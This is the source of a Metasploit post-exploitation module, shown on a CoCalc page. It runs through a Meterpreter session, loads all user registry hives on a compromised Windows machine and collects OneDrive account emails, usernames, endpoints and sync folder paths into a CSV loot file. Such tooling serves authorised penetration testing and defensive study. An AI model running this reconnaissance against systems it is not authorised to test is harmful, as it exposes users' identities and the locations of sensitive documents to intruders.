CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/enum_onedrive.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Priv
8
include Msf::Post::Common
9
include Msf::Post::File
10
include Msf::Post::Windows::Registry
11
include Msf::Post::Windows::UserProfiles
12
13
SYNC_ENGINES_KEYS = ['LibraryType', 'LastModifiedTime', 'MountPoint', 'UrlNamespace'].freeze
14
ONEDRIVE_ACCOUNT_KEYS = ['Business', 'ServiceEndpointUri', 'SPOResourceId', 'UserEmail', 'UserFolder', 'UserName'].freeze
15
PERSONAL_ONEDRIVE_KEYS = ['UserEmail', 'UserFolder'].freeze
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'OneDrive Sync Provider Enumeration Module',
22
'Description' => %q{
23
This module will identify the Office 365 OneDrive endpoints for both business and personal accounts
24
across all users (providing access is permitted). It is useful for identifying document libraries
25
that may otherwise not be obvious which could contain sensitive or useful information.
26
},
27
'License' => MSF_LICENSE,
28
'Platform' => ['win'],
29
'SessionTypes' => ['meterpreter'],
30
'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'],
31
'Notes' => {
32
'Stability' => [CRASH_SAFE],
33
'SideEffects' => [IOC_IN_LOGS],
34
'Reliability' => []
35
}
36
)
37
)
38
end
39
40
def display_report(sid, info, sync_used, sync_all, results_table)
41
info.each do |key, result|
42
next if result['ScopeIdToMountPointPathCache'].nil? || result['ScopeIdToMountPointPathCache'].empty?
43
44
row = []
45
print_line
46
print_line " #{key}"
47
print_line " #{'=' * key.length}"
48
print_line
49
row << sid
50
row << key
51
ONEDRIVE_ACCOUNT_KEYS.each do |col|
52
row << result[col].to_s
53
if result['Business'] == '1' || PERSONAL_ONEDRIVE_KEYS.include?(col)
54
print_line " #{col}: #{result[col]}"
55
end
56
end
57
result['ScopeIdToMountPointPathCache'].each do |scopes|
58
subrow = row.clone
59
print_line
60
SYNC_ENGINES_KEYS.each do |sync|
61
subrow << scopes[sync].to_s
62
print_line " | #{sync}: #{scopes[sync]}"
63
end
64
results_table << subrow
65
end
66
end
67
68
sync_all_list = []
69
sync_all.each_key do |key|
70
sync_all_list.push(key)
71
end
72
73
diff = sync_all_list - sync_used
74
if !(diff.nil? || diff.empty?)
75
print_line
76
print_line ' ORPHANED'
77
print_line ' ========'
78
diff.each do |scopeid|
79
csvrow = []
80
print_line
81
# Augment the CSV
82
csvrow << sid
83
csvrow << ''
84
ONEDRIVE_ACCOUNT_KEYS.each do |_od|
85
csvrow << ''
86
end
87
SYNC_ENGINES_KEYS.each do |sync|
88
csvrow << sync_all[scopeid][sync]
89
print_line " #{sync}: #{sync_all[scopeid][sync]}"
90
end
91
results_table << csvrow
92
end
93
end
94
end
95
96
def get_syncengine_data(master, syncengines)
97
all_syncengines = {}
98
syncengines.each do |sync_provider| # Sync provider names are normally Personal for personal accounts
99
# or a hash value that is unique to each business account.
100
tmp_sync_provider_info = {}
101
SYNC_ENGINES_KEYS.each do |key|
102
tmp_sync_provider_info[key] = registry_getvaldata("#{master}\\#{sync_provider}", key).to_s
103
end
104
all_syncengines[sync_provider] = tmp_sync_provider_info
105
end
106
all_syncengines
107
end
108
109
def get_onedrive_accounts(reg, accounts, syncdata)
110
all_oda = {}
111
synctargets_used = []
112
ret = {}
113
reg.each do |ses|
114
newses = {}
115
scopeids = registry_enumvals("#{accounts}\\#{ses}\\ScopeIdToMountPointPathCache")
116
next if scopeids.nil? || scopeids.empty?
117
118
ONEDRIVE_ACCOUNT_KEYS.each do |key|
119
newses[key] = registry_getvaldata("#{accounts}\\#{ses}", key).to_s
120
end
121
122
newses['ScopeIdToMountPointPathCache'] = []
123
scopeids.each do |sid|
124
target = syncdata[sid]
125
if newses['Business'] != '1'
126
target = syncdata['Personal']
127
synctargets_used.push('Personal')
128
else
129
synctargets_used.push(sid)
130
end
131
newses['ScopeIdToMountPointPathCache'].push(target)
132
end
133
all_oda[ses] = newses
134
end
135
ret['oda'] = all_oda
136
ret['synctargets_used'] = synctargets_used
137
ret
138
end
139
140
def run
141
# Obtain all user hives
142
userhives = load_missing_hives
143
got_results = false
144
145
# Prepare the results table
146
results_table = Rex::Text::Table.new(
147
'Header' => 'OneDrive Sync Information',
148
'Indent' => 1,
149
'SortIndex' => -1,
150
'Columns' => ['SID', 'Name'] + ONEDRIVE_ACCOUNT_KEYS + SYNC_ENGINES_KEYS
151
)
152
153
if userhives.nil? || userhives.empty?
154
fail_with(Failure::UnexpectedReply, 'Unable to load the missing hives needed to enumerate the target!')
155
end
156
# Loop through each of the hives
157
userhives.each do |hive|
158
next if hive['HKU'].nil?
159
160
print_status("Looking for OneDrive sync information for #{hive['SID']}")
161
master_key = "#{hive['HKU']}\\Software\\SyncEngines\\Providers\\OneDrive"
162
saved_syncengines = registry_enumkeys(master_key)
163
if saved_syncengines.nil? || saved_syncengines.empty?
164
print_error("(#{hive['HKU']}) No OneDrive accounts found.")
165
next
166
end
167
168
# Obtain the sync endpoints from the above subkey
169
all_syncengines = get_syncengine_data(master_key, saved_syncengines)
170
171
str_onedrive_accounts = "#{hive['HKU']}\\Software\\Microsoft\\OneDrive\\Accounts"
172
reg_onedrive_accounts = registry_enumkeys(str_onedrive_accounts)
173
if reg_onedrive_accounts.nil? || reg_onedrive_accounts.empty?
174
print_error("(#{hive['HKU']}) No OneDrive accounts found.")
175
next
176
end
177
178
result = get_onedrive_accounts(reg_onedrive_accounts, str_onedrive_accounts, all_syncengines)
179
180
if result['oda'].nil? || result['oda'].empty?
181
print_error("(#{hive['HKU']}) No OneDrive accounts found.")
182
next
183
end
184
185
got_results = true
186
print_good("OneDrive sync information for #{hive['SID']}")
187
display_report(hive['SID'], result['oda'], result['synctargets_used'], all_syncengines, results_table)
188
end
189
190
print_line
191
192
if got_results
193
stored_path = store_loot('onedrive.syncinformation', 'text/csv', session, results_table.to_csv, 'onedrive_syncinformation.csv', 'OneDrive sync endpoints')
194
print_good("OneDrive sync information saved to #{stored_path} in CSV format.")
195
end
196
197
# Clean up
198
unload_our_hives(userhives)
199
end
200
end
201
202